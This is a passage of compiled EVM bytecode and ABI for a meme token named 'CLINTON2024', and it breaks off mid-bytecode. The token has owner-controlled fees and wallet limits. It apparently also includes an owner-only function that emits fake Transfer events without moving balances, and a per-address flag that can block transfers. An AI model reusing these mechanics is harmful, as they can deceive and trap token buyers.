IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTxnNum","type":"uint256"},{"internalType":"uint256","name":"newMaxWalletNum","type":"uint256"}],"name":"updateMaxWalletAndTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526000600c60016101000a81548160ff0219169083151502179055506000600c60026101000a81548160ff0219169083151502179055503480156200004757600080fd5b5060405162005c7e38038062005c7e83398181016040528101906200006d9190620009c5565b806040518060400160405280600b81526020017f434c494e544f4e323032340000000000000000000000000000000000000000008152506040518060400160405280600781526020017f434c494e544f4e000000000000000000000000000000000000000000000000008152508160039081620000eb919062000c71565b508060049081620000fd919062000c71565b50505080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200016162000155620003ee60201b60201c565b620003f660201b60201c565b506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200018e816001620004bc60201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060006014905060008060329050600080620001e2620005a660201b60201c565b600a620001f0919062000ee8565b633b9aca0062000201919062000f39565b905062000213620005a660201b60201c565b600a62000221919062000ee8565b6301312d0062000232919062000f39565b60098190555062000248620005a660201b60201c565b600a62000256919062000ee8565b6301c9c38062000267919062000f39565b600b819055506127106005826200027f919062000f39565b6200028b919062000fb3565b600a8190555084600e8190555083600f81905550600f54600e54620002b1919062000feb565b600d819055508260118190555081601281905550601254601154620002d7919062000feb565b60108190555060105460158190555073fdcc43f76039ac7dddfc21038af326af2795edc1600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200035d6200034f620005af60201b60201c565b6001620005d960201b60201c565b62000370306001620005d960201b60201c565b6200038561dead6001620005d960201b60201c565b620003a762000399620005af60201b60201c565b6001620004bc60201b60201c565b620003ba306001620004bc60201b60201c565b620003cf61dead6001620004bc60201b60201c565b620003e133826200071360201b60201c565b5050505050505062001183565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620004cc620003ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620004f26200088b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200054b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005429062001087565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005e9620003ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200060f6200088b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000668576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200065f9062001087565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620007079190620010c6565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000785576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200077c9062001133565b60405180910390fd5b6200079960008383620008a760201b60201c565b8060026000828254620007ad919062000feb565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000804919062000feb565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200086b919062001166565b60405180910390a36200088760008383620008ac60201b60201c565b5050565b6000806200089e620008b160201b60201c565b90508091505090565b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146200093257600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000956565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200098d8262000960565b9050919050565b6200099f8162000980565b8114620009ab57600080fd5b50565b600081519050620009bf8162000994565b92915050565b600060208284031215620009de57620009dd6200095b565b5b6000620009ee84828501620009ae565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a7957607f821691505b60208210810362000a8f5762000a8e62000a31565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000af97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000aba565b62000b05868362000aba565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000b5262000b4c62000b468462000b1d565b62000b27565b62000b1d565b9050919050565b6000819050919050565b62000b6e8362000b31565b62000b8662000b7d8262000b59565b84845462000ac7565b825550505050565b600090565b62000b9d62000b8e565b62000baa81848462000b63565b505050565b5b8181101562000bd25762000bc660008262000b93565b60018101905062000bb0565b5050565b601f82111562000c215762000beb8162000a95565b62000bf68462000aaa565b8101602085101562000c06578190505b62000c1e62000c158562000aaa565b83018262000baf565b50505b505050565b600082821c905092915050565b600062000c466000198460080262000c26565b1980831691505092915050565b600062000c61838362000c33565b9150826002028217905092915050565b62000c7c82620009f7565b67ffffffffffffffff81111562000c985762000c9762000a02565b5b62000ca4825462000a60565b62000cb182828562000bd6565b600060209050601f83116001811462000ce9576000841562000cd4578287015190505b62000ce0858262000c53565b86555062000d50565b601f19841662000cf98662000a95565b60005b8281101562000d235784890151825560018201915060208501945060208101905062000cfc565b8683101562000d43578489015162000d3f601f89168262000c33565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000de65780860481111562000dbe5762000dbd62000d58565b5b600185161562000dce5780820291505b808102905062000dde8562000d87565b945062000d9e565b94509492505050565b60008262000e01576001905062000ed4565b8162000e11576000905062000ed4565b816001811462000e2a576002811462000e355762000e6b565b600191505062000ed4565b60ff84111562000e4a5762000e4962000d58565b5b8360020a91508482111562000e645762000e6362000d58565b5b5062000ed4565b5060208310610133831016604e8410600b841016171562000ea55782820a90508381111562000e9f5762000e9e62000d58565b5b62000ed4565b62000eb4848484600162000d94565b9250905081840481111562000ece5762000ecd62000d58565b5b81810290505b9392505050565b600060ff82169050919050565b600062000ef58262000b1d565b915062000f028362000edb565b925062000f317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000def565b905092915050565b600062000f468262000b1d565b915062000f538362000b1d565b925082820262000f638162000b1d565b9150828204841483151762000f7d5762000f7c62000d58565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000fc08262000b1d565b915062000fcd8362000b1d565b92508262000fe05762000fdf62000f84565b5b828204905092915050565b600062000ff88262000b1d565b9150620010058362000b1d565b925082820190508082111562001020576200101f62000d58565b5b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200106f60208362001026565b91506200107c8262001037565b602082019050919050565b60006020820190508181036000830152620010a28162001060565b9050919050565b60008115159050919050565b620010c081620010a9565b82525050565b6000602082019050620010dd6000830184620010b5565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200111b601f8362001026565b91506200112882620010e3565b602082019050919050565b600060208201905081810360008301526200114e816200110c565b9050919050565b620011608162000b1d565b82525050565b60006020820190506200117d600083018462001155565b92915050565b608051614abc620011c260003960008181610aea015281816130f6015281816131d7015281816131fe0152818161329a01526132c10152614abc6000f3fe6080604052600436106102345760003560e01c80637571336a1161012e578063bbc0c742116100ab578063d85ba0631161006f578063d85ba0631461085e578063dd62ed3e14610889578063e2f45605146108c6578063f2fde38b146108f1578063f8b45b051461091a5761023b565b8063bbc0c74214610779578063c0246668146107a4578063c2b7bbb6146107cd578063c8c8ebe4146107f6578063d257b34f146108215761023b565b806396188399116100f257806396188399146106825780639a7a23d6146106ab578063a457c2d7146106d4578063a64e4f8a14610711578063a9059cbb1461073c5761023b565b80637571336a146105c157806375f0a874146105ea5780638a8c523c146106155780638da5cb5b1461062c57806395d89b41146106575761023b565b8063313ce567116101bc57806366ca9b831161018057806366ca9b83146104ee5780636a486a8e146105175780636ddd17131461054257806370a082311461056d578063715018a6146105aa5761023b565b8063313ce567146103f55780633950935114610420578063418ff32c1461045d57806349bd5a5e146104865780634fbee193146104b15761023b565b806318160ddd1161020357806318160ddd146102fc57806320989eef1461032757806323b872dd1461036457806326ededb8146103a157806327c8f835146103ca5761023b565b806302dbd8f81461024057806306fdde0314610269578063095ea7b3146102945780631694505e146102d15761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b50610267600480360381019061026291906133b0565b610945565b005b34801561027557600080fd5b5061027e610a38565b60405161028b9190613480565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190613500565b610aca565b6040516102c8919061355b565b60405180910390f35b3480156102dd57600080fd5b506102e6610ae8565b6040516102f391906135d5565b60405180910390f35b34801561030857600080fd5b50610311610b0c565b60405161031e91906135ff565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061361a565b610b16565b60405161035b919061355b565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190613647565b610b6c565b604051610398919061355b565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c391906136ff565b610c64565b005b3480156103d657600080fd5b506103df610db5565b6040516103ec919061376e565b60405180910390f35b34801561040157600080fd5b5061040a610dbb565b60405161041791906137a5565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190613500565b610dc4565b604051610454919061355b565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f91906137ec565b610e70565b005b34801561049257600080fd5b5061049b610f91565b6040516104a8919061376e565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d3919061361a565b610fb7565b6040516104e5919061355b565b60405180910390f35b3480156104fa57600080fd5b50610515600480360381019061051091906133b0565b61100d565b005b34801561052357600080fd5b5061052c6110f7565b60405161053991906135ff565b60405180910390f35b34801561054e57600080fd5b506105576110fd565b604051610564919061355b565b60405180910390f35b34801561057957600080fd5b50610594600480360381019061058f919061361a565b611110565b6040516105a191906135ff565b60405180910390f35b3480156105b657600080fd5b506105bf611158565b005b3480156105cd57600080fd5b506105e860048036038101906105e3919061384c565b6111e0565b005b3480156105f657600080fd5b506105ff6112b7565b60405161060c919061376e565b60405180910390f35b34801561062157600080fd5b5061062a6112dd565b005b34801561063857600080fd5b50610641611391565b60405161064e919061376e565b60405180910390f35b34801561066357600080fd5b5061066c6113bb565b6040516106799190613480565b60405180910390f35b34801561068e57600080fd5b506106a960048036038101906106a491906133b0565b61144d565b005b3480156106b757600080fd5b506106d260048036038101906106cd919061384c565b611631565b005b3480156106e057600080fd5b506106fb60048036038101906106f69190613500565b611755565b604051610708919061355b565b60405180910390f35b34801561071d57600080fd5b50610726611840565b604051610733919061355b565b60405180910390f35b34801561074857600080fd5b50610763600480360381019061075e9190613500565b611853565b604051610770919061355b565b60405180910390f35b34801561078557600080fd5b5061078e611871565b60405161079b919061355b565b60405180910390f35b3480156107b057600080fd5b506107cb60048036038101906107c6919061384c565b611884565b005b3480156107d957600080fd5b506107f460048036038101906107ef919061361a565b6119a9565b005b34801561080257600080fd5b5061080b611a69565b60405161081891906135ff565b60405180910390f35b34801561082d57600080fd5b506108486004803603810190610843919061388c565b611a6f565b604051610855919061355b565b60405180910390f35b34801561086a57600080fd5b50610873611bc4565b60405161088091906135ff565b60405180910390f35b34801561089557600080fd5b506108b060048036038101906108ab91906138b9565b611bca565b6040516108bd91906135ff565b60405180910390f35b3480156108d257600080fd5b506108db611c51565b6040516108e891906135ff565b60405180910390f35b3480156108fd57600080fd5b506109186004803603810190610913919061361a565b611c57565b005b34801561092657600080fd5b5061092f611d4e565b60405161093c91906135ff565b60405180910390f35b61094d611d54565b73ffffffffffffffffffffffffffffffffffffffff1661096b611d5c565b73ffffffffffffffffffffffffffffffffffffffff16146109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b890613945565b60405180910390fd5b81601181905550806012819055506012546011546109df9190613994565b60108190555060105460158190555060636010541115610a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2b90613a14565b60405180910390fd5b5050565b606060038054610a4790613a63565b80601f0160208091040260200160405190810160405280929190818152602001828054610a7390613a63565b8015610ac05780601f10610a9557610100808354040283529160200191610ac0565b820191906000526020600020905b815481529060010190602001808311610aa357829003601f168201915b5050505050905090565b6000610ade610ad7611d54565b8484611d70565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610b79848484611f39565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bc4611d54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3b90613b06565b60405180910390fd5b610c5885610c50611d54565b858403611d70565b60019150509392505050565b610c6c611d54565b73ffffffffffffffffffffffffffffffffffffffff16610c8a611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd790613945565b60405180910390fd5b60005b83839050811015610daf57838382818110610d0157610d00613b26565b5b9050602002016020810190610d16919061361a565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d9491906135ff565b60405180910390a38080610da790613b55565b915050610ce3565b50505050565b61dead81565b60006009905090565b6000610e66610dd1611d54565b848460016000610ddf611d54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e619190613994565b611d70565b6001905092915050565b610e78611d54565b73ffffffffffffffffffffffffffffffffffffffff16610e96611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee390613945565b60405180910390fd5b60005b83839050811015610f8b578160196000868685818110610f1257610f11613b26565b5b9050602002016020810190610f27919061361a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f8390613b55565b915050610eef565b50505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611015611d54565b73ffffffffffffffffffffffffffffffffffffffff16611033611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611089576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108090613945565b60405180910390fd5b81600e8190555080600f81905550600f54600e546110a79190613994565b600d819055506014600d5411156110f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ea90613be9565b60405180910390fd5b5050565b60105481565b600c60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611160611d54565b73ffffffffffffffffffffffffffffffffffffffff1661117e611d5c565b73ffffffffffffffffffffffffffffffffffffffff16146111d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cb90613945565b60405180910390fd5b6111de6000612970565b565b6111e8611d54565b73ffffffffffffffffffffffffffffffffffffffff16611206611d5c565b73ffffffffffffffffffffffffffffffffffffffff161461125c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125390613945565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6112e5611d54565b73ffffffffffffffffffffffffffffffffffffffff16611303611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090613945565b60405180910390fd5b6001600c60016101000a81548160ff0219169083151502179055506001600c60026101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546113ca90613a63565b80601f01602080910402602001604051908101604052809291908181526020018280546113f690613a63565b80156114435780601f1061141857610100808354040283529160200191611443565b820191906000526020600020905b81548152906001019060200180831161142657829003601f168201915b5050505050905090565b611455611d54565b73ffffffffffffffffffffffffffffffffffffffff16611473611d5c565b73ffffffffffffffffffffffffffffffffffffffff16146114c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c090613945565b60405180910390fd5b6114d1610dbb565b600a6114dd9190613d3c565b6103e860056114ea610b0c565b6114f49190613d87565b6114fe9190613df8565b6115089190613df8565b82101561154a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154190613e9b565b60405180910390fd5b611552610dbb565b600a61155e9190613d3c565b6103e8600561156b610b0c565b6115759190613d87565b61157f9190613df8565b6115899190613df8565b8110156115cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c290613f2d565b60405180910390fd5b6115d3610dbb565b600a6115df9190613d3c565b600a6115eb9190613f4d565b816115f69190613d87565b600b81905550611604610dbb565b600a6116109190613d3c565b600a61161c9190613f4d565b826116279190613d87565b6009819055505050565b611639611d54565b73ffffffffffffffffffffffffffffffffffffffff16611657611d5c565b73ffffffffffffffffffffffffffffffffffffffff16146116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490613945565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361173d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117349061400a565b60405180910390fd5b61174782826111e0565b6117518282612a36565b5050565b60008060016000611764611d54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611821576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118189061409c565b60405180910390fd5b61183561182c611d54565b85858403611d70565b600191505092915050565b600c60009054906101000a900460ff1681565b6000611867611860611d54565b8484611f39565b6001905092915050565b600c60019054906101000a900460ff1681565b61188c611d54565b73ffffffffffffffffffffffffffffffffffffffff166118aa611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f790613945565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161199d919061355b565b60405180910390a25050565b6119b1611d54565b73ffffffffffffffffffffffffffffffffffffffff166119cf611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1c90613945565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b6000611a79611d54565b73ffffffffffffffffffffffffffffffffffffffff16611a97611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae490613945565b60405180910390fd5b620186a06001611afb610b0c565b611b059190613d87565b611b0f9190613df8565b821015611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b489061412e565b60405180910390fd5b6103e86005611b5e610b0c565b611b689190613d87565b611b729190613df8565b821115611bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bab906141c0565b60405180910390fd5b81600a8190555060019050919050565b600d5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b611c5f611d54565b73ffffffffffffffffffffffffffffffffffffffff16611c7d611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cca90613945565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3990614252565b60405180910390fd5b611d4b81612970565b50565b600b5481565b600033905090565b600080611d67612ad7565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd6906142e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590614376565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f2c91906135ff565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9f90614408565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200e9061449a565b60405180910390fd5b600081036120305761202b83836000612b7f565b61296b565b612038611391565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120a65750612076611391565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120df5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612119575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121325750600760149054906101000a900460ff16155b1561246657600c60019054906101000a900460ff1661222c57601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121ec5750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61222b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222290614506565b60405180910390fd5b5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122cf5750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561237657600954811115612319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231090614598565b60405180910390fd5b600b5461232583611110565b826123309190613994565b1115612371576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236890614604565b60405180910390fd5b612465565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124195750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561246457600954811115612463576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245a90614696565b60405180910390fd5b5b5b5b600061247130611110565b90506000600a5482101590508080156124965750600c60029054906101000a900460ff165b80156124af5750600760149054906101000a900460ff16155b80156125055750601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561255b5750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156125b15750601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156125f5576001600760146101000a81548160ff0219169083151502179055506125d9612dfe565b6000600760146101000a81548160ff0219169083151502179055505b6000600760149054906101000a900460ff16159050601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126ab5750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806126c35750600c60009054906101000a900460ff16155b1561272457601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561271f57600080fd5b600090505b60008115612952576001600c60006101000a81548160ff021916908315150217905550601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127a257506000601054115b1561283c576127cf60646127c16010548861300b90919063ffffffff16565b61302190919063ffffffff16565b9050601054601254826127e29190613d87565b6127ec9190613df8565b601460008282546127fd9190613994565b92505081905550601054601154826128159190613d87565b61281f9190613df8565b601360008282546128309190613994565b9250508190555061292e565b601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561289757506000600d54115b1561292d576128c460646128b6600d548861300b90919063ffffffff16565b61302190919063ffffffff16565b9050600d54600f54826128d79190613d87565b6128e19190613df8565b601460008282546128f29190613994565b92505081905550600d54600e548261290a9190613d87565b6129149190613df8565b601360008282546129259190613994565b925050819055505b5b600081111561294357612942873083612b7f565b5b808561294f91906146b6565b94505b61295d878787612b7f565b601554601081905550505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b5657600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b7a565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be590614408565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c549061449a565b60405180910390fd5b612c68838383613037565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce59061475c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffff